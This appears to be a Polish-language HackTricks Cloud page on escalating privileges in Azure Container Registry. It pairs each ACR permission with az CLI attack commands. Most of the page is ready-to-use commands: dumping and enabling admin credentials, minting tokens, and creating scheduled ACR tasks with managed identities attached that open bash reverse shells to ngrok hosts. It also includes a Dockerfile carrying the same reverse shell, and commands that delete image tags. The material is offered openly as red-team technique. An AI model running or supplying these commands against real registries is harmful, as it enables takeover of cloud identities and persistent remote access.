Az - Azure Container Registry Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Azure Container Registry
Aby uzyskać więcej informacji, sprawdź:
Microsoft.ContainerRegistry/registries/listCredentials/action
To uprawnienie pozwala użytkownikowi na wylistowanie danych uwierzytelniających administratora ACR. Jest to przydatne do uzyskania pełnego dostępu do rejestru.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
W przypadku, gdy poświadczenia administratora nie są włączone, będziesz również potrzebować uprawnienia Microsoft.ContainerRegistry/registries/write, aby je włączyć za pomocą:
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
Microsoft.ContainerRegistry/registries/tokens/write, Microsoft.ContainerRegistry/registries/generateCredentials/action
Te uprawnienia pozwalają użytkownikowi na utworzenie nowego tokena z hasłami do uzyskania dostępu do rejestru.
Aby użyć az cli do jego wygenerowania, jak w poniższym przykładzie, będziesz również potrzebować uprawnień Microsoft.ContainerRegistry/registries/read, Microsoft.ContainerRegistry/registries/scopeMaps/read, Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read, Microsoft.ContainerRegistry/registries/tokens/read
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action, Microsoft.ContainerRegistry/registries/scheduleRun/action, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action
Te uprawnienia pozwalają użytkownikowi na budowanie i uruchamianie obrazu w rejestrze. Może to być użyte do wykonywania kodu w kontenerze.
Warning
Jednak obraz będzie wykonywany w piaskownicy i bez dostępu do usługi metadanych. Oznacza to, że kontener nie będzie miał dostępu do metadanych instancji, więc to nie jest naprawdę przydatne do eskalacji uprawnień.
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
Microsoft.ContainerRegistry/registries/tasks/write
To jest główne uprawnienie, które pozwala na tworzenie i aktualizowanie zadania w rejestrze. Może być używane do wykonywania kodu wewnątrz kontenera z przypisaną do niego zarządzaną tożsamością w kontenerze.
Oto przykład, jak wykonać powłokę reverse w kontenerze z zarządzaną przez system tożsamością przypisaną do niego:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Innym sposobem na uzyskanie RCE z zadania bez użycia zewnętrznego repozytorium jest użycie polecenia az acr task create z flagą --cmd. To pozwoli ci uruchomić polecenie w kontenerze. Na przykład, możesz uruchomić powłokę odwrotną za pomocą następującego polecenia:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
Tip
Zauważ, że aby przypisać tożsamość zarządzaną przez system, nie potrzebujesz żadnych specjalnych uprawnień, chociaż musi ona być wcześniej włączona w rejestrze i przypisane muszą być jej jakieś uprawnienia, aby była użyteczna.
Aby przypisać tożsamość zarządzaną przez użytkownika, potrzebujesz również uprawnienia Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, aby to zrobić:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Aby zaktualizować repozytorium istniejącego zadania, możesz to zrobić:
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
Microsoft.ContainerRegistry/registries/importImage/action
Dzięki temu uprawnieniu możliwe jest zaimportowanie obrazu do rejestru azure, nawet bez posiadania obrazu lokalnie. Należy jednak pamiętać, że nie można zaimportować obrazu z tagiem, który już istnieje w rejestrze.
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
Aby usunąć lub usunąć konkretny tag obrazu z rejestru, możesz użyć następującego polecenia. Należy jednak pamiętać, że będziesz potrzebować użytkownika lub tokena z odpowiednimi uprawnieniami, aby to zrobić:
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>
az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

